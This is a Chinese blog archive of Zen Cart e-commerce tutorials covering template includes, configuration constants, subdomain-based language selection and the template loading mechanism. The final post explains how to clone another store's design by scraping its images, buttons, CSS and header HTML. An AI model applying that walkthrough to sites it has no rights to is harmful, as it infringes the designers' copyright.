档案

Posts Tagged ‘zencart’

zencart如何在详细商品页面显示推荐商品或者新进商品

2011-08-22 留下评论

zen cart如何在详细商品页面显示推荐商品或者新进商品
在tpl_product_info_display.php的后插入以下内容即可,或位置可以自行调整。
get_template_dir(‘tpl_modules_featured_products.php’,DIR_WS_TEMPLATE, $current_page_base,’templates’). ‘/tpl_modules_featured_products.php’); ?>
get_template_dir(‘tpl_modules_whats_new.php’,DIR_WS_TEMPLATE, $current_page_base,’templates’). ‘/tpl_modules_whats_new.php’); ?>

zencart的category_tree分类树处理对象

2011-08-22 留下评论

zencart左侧的分类树标题,所处位置都在layout_boxes表中.通过sidebox目录下的调用显示出来.
zencart系统的分类树在includes/modules/sideboxes/categories.php中.

$main_category_tree = new category_tree;
是zen cart分类树的类对象,用来处理分类的。

$check_categories = $db ->Execute( “select categories_id from “ . TABLE_CATEGORIES . ” where categories_status=1 limit 1″ );
获取该分类树状态正常显示的标识.

require ( $template ->get_template_dir( ‘tpl_categories.php’ ,DIR_WS_TEMPLATE, $current_page_base , ‘sideboxes’ ). ‘/tpl_categories.php’ );
目的是包含includes/templates/zccn/sideboxes/tpl_categories.php 包含分类子模板的。

require ( $template ->get_template_dir( $column_box_default , DIR_WS_TEMPLATE, $current_page_base , ‘common’ ) . ‘/’ . $column_box_default );
实际是为了包含includes/templates/template_default/common/tpl_box_default_left.php .

zencart 的一些后台配置变量,在程序里面可以直接调用

2011-08-22 留下评论

zencart 的一些后台配置变量,在程序里面可以直接调用
1 商店名称 STORE_NAME 保瑪國際-全球数字点卡权威 商店名称
2 店主 STORE_OWNER bluebc 店主的名字
3 国家或地区 STORE_COUNTRY 44 商店所在的国家或地区
备注: 请记住更新商店所在地区。 zen_cfg_pull_down_country_list(
4 地区 STORE_ZONE 67 商店所在地区 zen_cfg_pull_down_zone_list(
5 即将上市商品排序 EXPECTED_PRODUCTS_SORT desc 即将上市商品方框的排序. zen_cfg_select_option(array(‘asc’, ‘desc’),
6 即将上市商品排序字段 EXPECTED_PRODUCTS_FIELD date_expected 即将上市商品方框的排序字段. zen_cfg_select_option(array(‘products_name’, ‘date_expected’),
7 使用缺省语言货币 USE_DEFAULT_LANGUAGE_CURRENCY true 自动转换到选择语言的相应货币 zen_cfg_select_option(array(‘true’, ‘false’),
8 语言选择 LANGUAGE_DEFAULT_SELECTOR Default 商店缺省的语言选择为商店的设置,还是用户浏览器中的设置?
Default: 商店的缺省设置 zen_cfg_select_option(array(‘Default’, ‘Browser’),
9 使用搜索引擎友好的URLs (还在开发中) SEARCH_ENGINE_FRIENDLY_URLS false Use search-engine safe urls for all site links zen_cfg_select_option(array(‘true’, ‘false’),
10 添加商品后显示购物车 DISPLAY_CART true 添加商品后显示购物车 (或退回原来的状态) zen_cfg_select_option(array(‘true’, ‘false’),
11 缺省搜索操作 ADVANCED_SEARCH_DEFAULT_OPERATOR and 缺省搜索操作 zen_cfg_select_option(array(‘and’, ‘or’),
12 商店地址和电话 STORE_NAME_ADDRESS 商店名称 地址 国家 电话 商店名称, 地址和电话号码, 用于打印文件和在线显示 zen_cfg_textarea(
13 显示分类计数 SHOW_COUNTS false 递归计算分类中商品数量 zen_cfg_select_option(array(‘true’, ‘false’),
14 税收小数位 TAX_DECIMAL_PLACES 0 税收金额的小数位
15 显示含税价格 DISPLAY_PRICE_WITH_TAX false 显示含税价格 (True) 或 最后再加税 (False) zen_cfg_select_option(array(‘true’, ‘false’),
16 在管理页面中显示含税价格 DISPLAY_PRICE_WITH_TAX_ADMIN false 在管理页面中(发票), 显示含税价格 (True) 或 最后再加税 (False) zen_cfg_select_option(array(‘true’, ‘false’),
17 商品税的计算 STORE_PRODUCT_TAX_BASIS Shipping 计算商品税的基准. 选项为
Shipping – 基于送货地址
Billing 基于客户帐单地址
Store – 如果Billing/Shipping地区和商店所在地区相同, 采用商店的地址 zen_cfg_select_option(array(‘Shipping’, ‘Billing’, ‘Store’),
18 运费税的计算 STORE_SHIPPING_TAX_BASIS Shipping 计算运费税的基准. 选项为
Shipping – 基于送货地址
Billing 基于客户帐单地址
Store – 如果Billing/Shipping地区和商店所在地区相同, 采用商店的地址 – 货运模块可以覆盖该设置 zen_cfg_select_option(array(‘Shipping’, ‘Billing’, ‘Store’),
19 销售税显示 STORE_TAX_DISPLAY_STATUS 0 即使金额为零也显示销售税
0= 否
1= 是 zen_cfg_select_option(array(‘0’, ‘1’),
20 管理对话超时秒数 SESSION_TIMEOUT_ADMIN 3600 输入以秒为单位的时间. 缺省=3600
例如: 3600= 1 小时
备注: 时间太短会导致添加/编辑商品时超时
21 管理设置最大进程执行时间 GLOBAL_SET_TIME_LIMIT 60 输入以秒为单位的时间, 管理设置最大进程执行时间。
缺省=60 秒
例如: 60= 1 分钟
备注: 仅当您进程执行时间有问题时, 才需要修改该时间限制
22 显示是否有新版本 SHOW_VERSION_UPDATE_IN_HEADER true 自动显示是否有Zen Cart新版本。打开该选项有时会降低管理页面打开时间。(显示于登录后的主索引页面和服务器信息页面) zen_cfg_select_option(array(‘true’, ‘false’),
23 商店模式 STORE_STATUS 0 商店模式
0= 正常
1= 商品展示, 不显示价格
2= 商品展示, 显示价格 zen_cfg_select_option(array(‘0’, ‘1’, ‘2’),
24 服务器运行时数 DISPLAY_SERVER_UPTIME true 显示服务器运行时数在某些服务器上会导致日志文件中有错误记录。(true = 显示, false = 不显示) zen_cfg_select_option(array(‘true’, ‘false’),
25 丢失页面检测 MISSING_PAGE_CHECK Page Not Found Zen Cart能够检测不存在的页面并自动调转到索引页面。调试时可关闭该选项。
缺省=On
On = 如有不存在的页面,调整到’index’
Off = 不检测不存在的页面
Page Not Found = 显示页面不存在的提示页面 zen_cfg_select_option(array(‘On’, ‘Off’, ‘Page Not Found’),
26 cURL代理服务器状态 CURL_PROXY_REQUIRED False 您的cURL是否使用代理服务器? zen_cfg_select_option(array(‘True’, ‘False’),
27 cURL代理服务器地址 CURL_PROXY_SERVER_DETAILS 如果您使用GoDaddy或其他主机,并需要通过cURL使用代理服务器,在这里输入地址。
格式: 地址:端口
例如: GoDaddy主机,输入: proxy.shr.secureserver.net:3128 或 64.202.165.130:3128
28 HTML编辑器 HTML_EDITOR_PREFERENCE HTMLAREA 请选择用于管理电子邮件、电子商情和商品简介的文本编辑器。 zen_cfg_pull_down_htmleditors(
29 打开phpBB链接? PHPBB_LINKS_ENABLED Zen Cart的新帐号要和您的(已安装)phpBB论坛同步吗? zen_cfg_select_option(array(‘true’, ‘false’),
30 显示分类计数 – 管理员 SHOW_COUNTS_ADMIN true 在管理页面显示分类计数吗? zen_cfg_select_option(array(‘true’, ‘false’),
31 货币兑换比率 CURRENCY_UPLIFT_RATIO 1.05 自动更新汇率时,需要使用的”额外”比率是多少?
例如: 从汇率服务器更新银行汇率后,您要在银行汇率基础上增加多少比例来设置给客户的汇率?
缺省: 1.05
将公布的银行汇率乘以1.05作为商店的汇率。
32 姓氏 ENTRY_FIRST_NAME_MIN_LENGTH 1 姓氏最少字数
33 名字 ENTRY_LAST_NAME_MIN_LENGTH 1 名字最少字数
34 生日 ENTRY_DOB_MIN_LENGTH 10 生日最少字数
35 电子邮件 ENTRY_EMAIL_ADDRESS_MIN_LENGTH 6 电子邮件地址最少字数
36 地址 ENTRY_STREET_ADDRESS_MIN_LENGTH 4 地址最少字数
37 公司 ENTRY_COMPANY_MIN_LENGTH 0 公司名称最少字数
38 邮编 ENTRY_POSTCODE_MIN_LENGTH 4 邮编最少字数
39 城市 ENTRY_CITY_MIN_LENGTH 2 城市最少字数
40 省份 ENTRY_STATE_MIN_LENGTH 2 省份最少字数
41 电话号码 ENTRY_TELEPHONE_MIN_LENGTH 6 电话号码最少字数
42 密码 ENTRY_PASSWORD_MIN_LENGTH 5 密码最少字数
43 信用卡持卡人姓名 CC_OWNER_MIN_LENGTH 2 信用卡持卡人姓名最少字数
44 信用卡号 CC_NUMBER_MIN_LENGTH 10 信用卡号码最少字数
45 信用卡CVV校验码 CC_CVV_MIN_LENGTH 3 信用卡CVV校验码最少字数
46 商品评论文字 REVIEW_TEXT_MIN_LENGTH 1 商品评论文字最少字数
47 畅销商品 MIN_DISPLAY_BESTSELLERS 1 成为畅销商品的最小销售数量
48 同时购买商品 MIN_DISPLAY_ALSO_PURCHASED 1 显示为客户同时购买商品的最少数量
49 昵称 ENTRY_NICK_MIN_LENGTH 1 昵称最少字数
50 地址簿条目 MAX_ADDRESS_BOOK_ENTRIES 5 每个客户地址簿中最多允许的条目
51 每页搜索结果 MAX_DISPLAY_SEARCH_RESULTS 20 搜索结果页面显示的商品数量
52 前/后页导航页链接 MAX_DISPLAY_PAGE_LINKS 5 导航链接显示的数目的数量
53 首页新进商品数量 MAX_DISPLAY_NEW_PRODUCTS 6 显示在首页的新进商品数量
54 首页推荐商品数量 MAX_DISPLAY_SEARCH_RESULTS_FEATURED 6 显示在首页的推荐商品数量
55 首页特价商品数量 MAX_DISPLAY_SPECIAL_PRODUCTS_INDEX 6 显示在首页的特价商品数量
56 即将上市商品数量 MAX_DISPLAY_UPCOMING_PRODUCTS 10 显示的即将上市商品数量
57 特价商品列表数量 MAX_DISPLAY_SPECIAL_PRODUCTS 6 特价商品列表每页显示的商品数量
58 新进商品列表数量 MAX_DISPLAY_PRODUCTS_NEW 10 新进商品列表每页显示的商品数量
59 推荐商品列表数量 MAX_DISPLAY_PRODUCTS_FEATURED_PRODUCTS 10 推荐商品列表每页显示的商品数量
60 所有商品列表数量 MAX_DISPLAY_PRODUCTS_ALL 10 所有商品列表每页显示的商品数量
61 分类商品列表数量 MAX_DISPLAY_PRODUCTS_LISTING 10 分类商品列表每页显示的商品数量
62 畅销商品数量 MAX_DISPLAY_BESTSELLERS 10 畅销商品数量
63 同时购买商品数量 MAX_DISPLAY_ALSO_PURCHASED 6 ‘客户同时购买的商品’方框中显示的商品数量
64 边框中随机推荐商品数量 MAX_RANDOM_SELECT_FEATURED_PRODUCTS 2 在边框中显示的随机推荐商品的数量
输入在本边框中同时显示的商品数量。
本边框中显示多少商品?
65 边框中随机新进商品数量 MAX_RANDOM_SELECT_NEW 3 在边框中显示的随机新进商品的数量
输入在本边框中同时显示的商品数量。
本边框中显示多少商品?
66 边框中随机特价商品数量 MAX_RANDOM_SELECT_SPECIALS 2 在边框中显示的随机特价商品的数量
输入在本边框中同时显示的商品数量。
本边框中显示多少商品?
67 边框中随机商品评论数量 MAX_RANDOM_SELECT_REVIEWS 1 在边框中显示的随机商品评论的数量
输入在本边框中同时显示的商品数量。
本边框中显示多少商品?
68 每页商品评论数量 MAX_DISPLAY_NEW_REVIEWS 6 每页显示的商品评论数量
69 厂商列表 – 滚动栏大小/样式 MAX_MANUFACTURERS_LIST 3 滚动栏窗口里显示的厂商数目。如果设为1或0显示下拉菜单
70 厂商列表 – 检验商品存在 PRODUCTS_MANUFACTURERS_STATUS 1 要显示厂商名字,保证至少存在一个有效商品
提示: 当该开关为开启时,如果有很多商品或厂商,会影响网站速度
0= 关 1= 开 zen_cfg_select_option(array(‘0’, ‘1’),
71 音乐类型列表 – 滚动栏大小/样式 MAX_MUSIC_GENRES_LIST 3 滚动栏窗口里显示的音乐类型数目. 如果设为1或0会显示下拉菜单。
72 唱片公司列表 – 滚动栏大小/样式 MAX_RECORD_COMPANY_LIST 3 滚动栏窗口里显示的唱片公司数目. 如果设为1或0会显示下拉菜单。
73 唱片公司名称长度 MAX_DISPLAY_RECORD_COMPANY_NAME_LEN 15 用于唱片公司栏; 唱片公司名称显示的最大长度. 太长的名字会被截断.
74 音乐类型名称长度 MAX_DISPLAY_MUSIC_GENRES_NAME_LEN 15 用于音乐类型栏; 音乐类型名称显示的最大长度. 太长的名字会被截断.
75 厂商名字长度 MAX_DISPLAY_MANUFACTURER_NAME_LEN 15 用于厂商栏; 厂商名字显示的最大长度. 太长的名字会被截断.
76 每行分类数目 MAX_DISPLAY_CATEGORIES_PER_ROW 3 每行分类数目
77 最近购买边框- 备注: 边框已关闭 MAX_DISPLAY_PRODUCTS_IN_ORDER_HISTORY_BOX 6 最近购买边框中显示的商品数量
78 每页显示的客户订单数 MAX_DISPLAY_ORDER_HISTORY 10 ‘我的帐号’订单历史中显示的订单数目
79 客户页显示最大客户数 MAX_DISPLAY_SEARCH_RESULTS_CUSTOMER 20
80 订单页显示最大订单数 MAX_DISPLAY_SEARCH_RESULTS_ORDERS 20
81 分析系统页面显示的商品数 MAX_DISPLAY_SEARCH_RESULTS_REPORTS 20
82 最大分类商品显示列表 MAX_DISPLAY_RESULTS_CATEGORIES 10 每页显示的商品数目
83 商品属性 – 选项名称和值的显示 MAX_ROW_LISTS_OPTIONS 10 显示在商品属性页面的选项名称和值的数量
84 商品属性 – 属性数量的显示 MAX_ROW_LISTS_ATTRIBUTES_CONTROLLER 30 显示在商品属性控制页面的属性数量
85 商品属性 – 下载管理显示 MAX_DISPLAY_SEARCH_RESULTS_DOWNLOADS_MANAGER 30 下载管理页面显示的下载数量
86 推荐商品 – 显示在管理页面的数量 MAX_DISPLAY_SEARCH_RESULTS_FEATURED_ADMIN 10 管理页面下每屏的推荐商品数量
87 新进商品的定义 SHOW_NEW_PRODUCTS_LIMIT 0 新进商品列表的定义
0= 所有商品
1= 当前月份
7= 7 天
14= 14 天
30= 30 天
60= 60 天
90= 90 天
120= 120 天 zen_cfg_select_option(array(‘0’, ‘1’, ‘7’, ’14’, ’30’, ’60’, ’90’, ‘120’),
88 显示语言图标的数目 MAX_LANGUAGE_FLAGS_COLUMNS 3 语言边框中每行显示的语言图标的数目
89 最大文件上传大小 MAX_FILE_UPLOAD_SIZE 2048000 允许上传文件的大小
缺省= 2048000
90 允许上传的文件名后缀 UPLOAD_FILENAME_EXTENSIONS jpg,jpeg,gif,png,eps,cdr,ai,pdf,tif,tiff,bmp,zip 列出允许客户上传到您网站的文件类型 (文件名后缀)。用逗号(,)分开。不要包含点(.)。
建议设置: “jpg,jpeg,gif,png,eps,cdr,ai,pdf,tif,tiff,bmp,zip” zen_cfg_textarea(
91 管理订单下显示的订单内容 MAX_DISPLAY_RESULTS_ORDERS_DETAILS_LISTING 0 最多订单内容数
0 = 无限制
92 管理页面显示的PayPal IPN的数量 MAX_DISPLAY_SEARCH_RESULTS_PAYPAL_IPN 20 管理页面显示PayPal IPN的数量
缺省为20
93 商品链接多个分类的显示 MAX_DISPLAY_PRODUCTS_TO_CATEGORIES_COLUMNS 3 商品链接到多个分类的管理界面下,显示的列数
3 = 缺省
94 简易页面的显示数量 MAX_DISPLAY_SEARCH_RESULTS_EZPAGE 20 简易页面的显示数量
20 = 缺省
95 小图像宽度 SMALL_IMAGE_WIDTH 100 小图像象素宽度
96 小图像高度 SMALL_IMAGE_HEIGHT 80 小图像象素高度
97 标题图像宽度 – 管理页面 HEADING_IMAGE_WIDTH 57 管理页面的标题图像象素宽度
说明: 该值调整管理页面的间距,或可用在管理页面增加标题图像
98 标题图像高度 – 管理页面 HEADING_IMAGE_HEIGHT 40 管理页面的标题图像象素高度
说明: 该值调整管理页面的间距,或可用在管理页面增加标题图像
99 子分类图像宽度 SUBCATEGORY_IMAGE_WIDTH 100 子分类图像象素宽度
100 子分类图像高度 SUBCATEGORY_IMAGE_HEIGHT 57 子分类图像象素高度

分类:Zencart 标签:,

zencart不同域名绑定不同语言的方法

2011-08-22 留下评论

描述:www.zcadmin.com 访问的是默认语言, cn.zcadmin.com 访问的是汉语, jp.zcadmin.com 访问的是日语等等。
优势:语言能独立成站。方便搜索引擎收录。
代码:
修改文件 \includes\init_includes\init_languages.php

//ZenCart网店系统工具的开发与应用,小工具解决繁琐问题,使Zen Cart应用简单化。
//By www.zcadmin.com
<?
if (!defined(‘IS_ADMIN_FLAG’)) {
die(‘Illegal Access’);
}

if (!isset($_SESSION[‘language’]) || isset($_GET[‘language’])) {
$lng = new language();
if (isset($_GET[‘language’]) && zen_not_null($_GET[‘language’])) {
$lng->set_language($_GET[‘language’]);
} else {
if (LANGUAGE_DEFAULT_SELECTOR==’Browser’) {
$lng->get_browser_language();
} else {
$lng->set_language(DEFAULT_LANGUAGE);
}
}

if($_SERVER[‘HTTP_HOST’] == ‘www.open-cart.com’ || $_SERVER[‘HTTP_HOST’] == ‘open-cart.com’){
$_SESSION[‘languages_id’] = 1;
$_SESSION[‘language’] = ‘english’;
$_SESSION[‘languages_code’] = ‘en’;
}
else if($_SERVER[‘HTTP_HOST’] == ‘fr.open-cart.com’){
$_SESSION[‘languages_id’] = 2;
$_SESSION[‘language’] = ‘french’;
$_SESSION[‘languages_code’] = ‘fr’;
}
else if($_SERVER[‘HTTP_HOST’] == ‘de.open-cart.com’){
$_SESSION[‘languages_id’] = 3;
$_SESSION[‘language’] = ‘german’;
$_SESSION[‘languages_code’] = ‘de’;
}
else if($_SERVER[‘HTTP_HOST’] == ‘it.open-cart.com’){
$_SESSION[‘languages_id’] = 5;
$_SESSION[‘language’] = ‘italian’;
$_SESSION[‘languages_code’] = ‘it’;
}
else if($_SERVER[‘HTTP_HOST’] == ‘pt.open-cart.com’){
$_SESSION[‘languages_id’] = 6;
$_SESSION[‘language’] = ‘portugues’;
$_SESSION[‘languages_code’] = ‘pt’;
}
else if($_SERVER[‘HTTP_HOST’] == ‘es.open-cart.com’){
$_SESSION[‘languages_id’] = 7;
$_SESSION[‘language’] = ‘spanish’;
$_SESSION[‘languages_code’] = ‘es’;
}
else{
$_SESSION[‘language’] = (zen_not_null($lng->language[‘directory’]) ? $lng->language[‘directory’] : ‘english’);
$_SESSION[‘languages_id’] = (zen_not_null($lng->language[‘id’]) ? $lng->language[‘id’] : 1);
$_SESSION[‘languages_code’] = (zen_not_null($lng->language[‘code’]) ? $lng->language[‘code’] : ‘en’);
}
}
?>

分类:Zencart 标签:, ,

zencart文件调用机制详解

2011-08-22 留下评论

admin后台管理目录

cache 缓存目录

docs 文档目录

download 用于存放下载类商品

editors 所见即所得编辑器

email 电子邮件模版目录

extras 测试文件目录

images 商品图片目录

includes 前台

media 媒体类商品目录

pub 公用目录(空)

includes里面的目录:

auto_loaders 自动加载的脚本

classes 主要的类函数

extra_cart_actions 空

extra_configures 第三方模块设置文件

extra_datafiles 第三方模块数据表名定义

functions 主要的功能函数

index_filters 过滤功能

init_includes 初始化功能

languages 语言文件包目录

modules 所有的模块目录

templates 模版目录

zencart与oscommerce在某中意义上很相似,可以看做是一个升级版,两者之间共用了很多相同的函数或类,不同的是他们是按照不同的方式组织在一起

zencart 采用摸板,单一文件index.php入口,后面跟参数,参数决定显示的内容,基本上网页变换的部分只是中间的主区域

重点介绍几个文件

includes目录,该目录无疑是zencart的核心(前台),

通常情况下index.php第一句话则是包含include目录下的application_top.php文件,如:require(‘includes/application_top.php’);

在该系统中application_top.php负责的是初始化工作,比如加载配置文件include(‘includes/configure.php’);如果系统程序没检测到该文件的存在则会尝试调用安装文件

,然后它会自动遍历include/extra_configures下的配置文件并包含进来

在加载了系统配置文件以后接下来是一个非常重要的文件,这也导致了zencart和oscommerce感觉上很大不同的原因(事实上都一回事)

首先调用一个文件require(‘includes/initsystem.php’); 在initsystem.php中最先加载include/auto_loaders/config.core.php,config.core.php 是一个二围数组$autoLoadConfig,即以数组的形式保存文件的信息供后面文件调用,然后系统会接着加载完 include/auto_loaders目录下所有文件名匹配$loaderPrefix(默认为config)的文件

上面程序执行完以后就可以加载自动执行程序了require(‘includes/autoload_func.php’);在这里它会遍历$autoLoadConfig数组,它最终执行的效果会包含所有必须用到的函数或者类的定义,还有变量的初始化,config.core.php里面的注释比较清楚比如 $autoLoadConfig[0][] = array(‘autoType’=>’class’,’loadFile’=>’class.base.php’);在 autoload_func.php里面执行完以后的效果就是require(DIR_WS_CLASSES . ‘class.base.php’),事实上本人是不赞成这种写法,大部分的初始化化工作是通过包含init_includes目录下的文件来实现的

如: $autoLoadConfig[110][] = array(‘autoType’=>’init_script’,’loadFile’=> ‘init_templates.php’);它在执行完autoload_func.php文件后就已经加载了init_includes目录下的 init_templates.php

文件,由于里面包含的文件太多,在这就不做一一介绍了

下面我来介绍下zencart是怎么根据摸版把内容显示出来的

require(‘includes/application_top.php’);初始化所以需要用到的公共信息以后接下来就应该是显示了

index.php 的第 29 行有句 $directory_array = $template->get_template_part($code_page_directory, ‘/^header_php/’);

由于所有初始化工作已经完成 所有我们就可以在上面的文件找到他们的定义 , $autoLoadConfig[100][] = array(‘autoType’=>’classInstantiate’,’className’=>’template_func’,’objectName’=>’template’);

在这里就定义了 $template = new template_func(); , 然后 $code_page_directory 变量的定义是在 init_includes/init_sanitize.php 文件中定义在这里必须要对 class/template_func.php 中定义的 template_func 类比较熟悉 在改类中主要定义了两个方法 get_template_dir() get_template_part(); 这两个方法在 zencart 的摸版中起到了决定性的作用

我简单的说下 get_template_dir 方法 function get_template_dir($template_code, $current_template, $current_page, $template_dir, $debug=false), 它定义了 5 个参数 第一个参数一般是个文件名 , 它是用来判断后两个参数组成的目录中有没有匹配 $template_code 的这个文件 , 该类复写了默认的系统函数 file_exists 所以很多初学者可能会比较迷惑

function get_template_dir($template_code, $current_template, $current_page, $template_dir, $debug=false) {

// echo ‘template_default/’ . $template_dir . ‘=’ . $template_code;

if ($this->file_exists($current_template . $current_page, $template_code)) {

return $current_template . $current_page . ‘/’;

} elseif ($this->file_exists(DIR_WS_TEMPLATES . ‘template_default/’ . $current_page, ereg_replace(‘/’, ”, $template_code), $debug)) {

return DIR_WS_TEMPLATES . ‘template_default/’ . $current_page;

} elseif ($this->file_exists($current_template . $template_dir, ereg_replace(‘/’, ”, $template_code), $debug)) {

return $current_template . $template_dir;

} else {

return DIR_WS_TEMPLATES . ‘template_default/’ . $template_dir;

// return $current_template . $template_dir;

}

}

/*

includes/templates/zccn/index

includes/templates/template_default/index

includes/templates/zccn/common

includes/templates/template_default/common

*/

get_template_part() 方法有两个函数 第一个参数是文件目录 第二个参数是匹配的条件 执行的结果是包含该目录下所有文件名匹配这个条件的文件

比如 $directory_array = $template->get_template_part($code_page_directory, ‘/^header_php/’);

这句话执行的结果就是返回目录下 $code_page_directory 所有文件名以 header_php 开头的文件

如此时的 url(http://localhost/zencart/index.php?main_page=product_info&cPath=49_27&products_id=83)

你现在应该查看 init_sanitize.php $code_page_directory 的定义此时的 $code_page_directory 的值应该是 includes/modules/product_info/

所以它就应该包含该目录下所有以 header_php 开头的文件 , 在这里好象就只有一个 header_php.php

$directory_array = $template->get_template_part($code_page_directory, ‘/^header_php/’); 这个包含文件其实是初始化前台不同页面显示所需要用到的变量函数 主要是初始化数据库的东西 , 因为每个页面需要的数据资料都有可能不同 , 所以 index.php?main_page=index main_page 的值不同是在 includes/modules/ 目录下都会有个对应的目录 这里是 index 目录

只要知道了这两个方法的用法,你就会知道模板文件都是怎么显示出来的了

再来解释一 require($template->get_template_dir(‘html_header.php’,DIR_WS_TEMPLATE, $current_page_base,’common’). ‘/html_header.php’);

假设当前http://localhost/zencart/index.php?main_page=index&cPath=48

DIR_WS_TEMPLATE 定义是在includes/init_templates.php中定义define(‘DIR_WS_TEMPLATE’, DIR_WS_TEMPLATES . $template_dir . ‘/’);,因为我现在用的是默认的zccn模板

所以现在的DIR_WS_TEMPLATE=includes/templates/zccn/

$current_page_base在这里已经就是index

上面已经解释了$template->get_template_dir()的方法了

程序会依次在includes/templates/zccn/index

includes/templates/template_default/index

includes/templates/zccn/common

includes/templates/template_default/common

这四个目录下找 html_header.php 在这里 最终在 template_default\common 目录下找到 html_header.php

到这里就可以自己写摸板文件了 , 因为 $template->get_template_dir() 是按顺序找的 所以你只要在你的模板文件中存在该文件即可

分类:Zencart 标签:,

zencart复制网站模板的方法

2011-08-22 留下评论

首先说明的是,这里只是说明复制网站模板的理论,用于学习用途,复制并使用未经授权的模板是非法的。
第一次写这类说明,没有经验,欢迎大家指正、补充。

这里以zen cart或者osc的模板为例,其他的模板也是同样的方法。

1. 首先在你的模板目录下,建立一个新的模板,例如:\includes\templates\mytemplate\
复制\includes\templates\template_default下的所有目录和文件到新的目录中

2. 用文本编辑器修改\includes\templates\mytemplate\template_info.php,修改其中的名称、版本、作者等内容。

3. 在后台打开新的模板,然后再工具-外观控制中,点击重置

4. 获取网站模板的图片
用整站下载软件实现,例如Teleport Pro,下载全站的所有图形文件,要保留原站的文件结构。
图片通常都在/images目录下,将下载到的/images下的图形文件都复制到zen cart的/images目录下。

5. 获取网站模板的按钮
也可以用Teleport Pro下载所有按钮,通常是英文的,osc的按钮图片在/includes/languages/english/images/buttons目录下。
将下载的按钮保存到zen cart的按钮目录/includes/templates/mytemplate/buttons/english/ 和 /includes/templates/mytemplate/buttons/schinese/ 中,在schinese目录中的按钮,可以自己用图像处理软件转换成中文。

osc模板中,可供下载的按钮有:

http://www.domainname.com/osc/includes/languages/english/images/buttons/button_address_book.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_add_address.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_back.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_buy_now.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_change_address.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_checkout.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_confirm_order.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_continue.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_continue_shopping.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_delete.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_edit_account.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_in_cart.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_login.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_notifications.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_quick_find.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_remove_notifications.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_reviews.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_search.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_shipping_options.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_tell_a_friend.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_update.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_update_cart.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/button_write_review.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/small_delete.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/small_edit.gif
http://www.domainname.com/osc/includes/languages/english/images/buttons/small_view.gif

类似的,zen cart模板的按钮有

http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_add_address.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_back.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_buy_now.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_change_address.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_checkout.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_confirm_order.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_continue.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_continue_shopping.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_delete.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_download.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_in_cart.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_login.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_next.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_ppcheckout.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_prev.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_redeem.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_return_to_product_list.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_reviews.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_search.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_send.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_shipping_estimator.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_sold_out.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_sold_out_sm.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_submit.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_TellAFriend.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_tell_a_friend.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_unsubscribe.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_update.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_update_cart.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/button_write_review.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/small_delete.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/small_edit.gif
http://www.domainname.com/zencart/includes/languages/english/images/buttons/small_view.gif

上面的列表中,自己替换www.domainname.com/osc 或者 http://www.domainname.com/zencart 为你需要复制的网站地址。

6. 获取网站模板的CSS文件。osc的stylesheet.css文件在根目录下。stylesheet.css文件的具体路径在查看页面源代码时能看到。
打开获得的stylesheet.css文件,剪贴到/includes/templates/mytemplate/css/stylesheet.css文件中,追加在原来的css文件后,不要覆盖原有的内容。

7. 打开需要复制的zen cart或者osc网站,查看源代码。(有些网站不允许你查看源代码,要一些技巧,这里就不详细讨论这个问题了)

8. 在源代码中复制
<!– header //–> 到 <!– header_eof //–> 之间的内容作为\includes\templates\mytemplate\common\tpl_header.php,删除该文件内原来的内容。

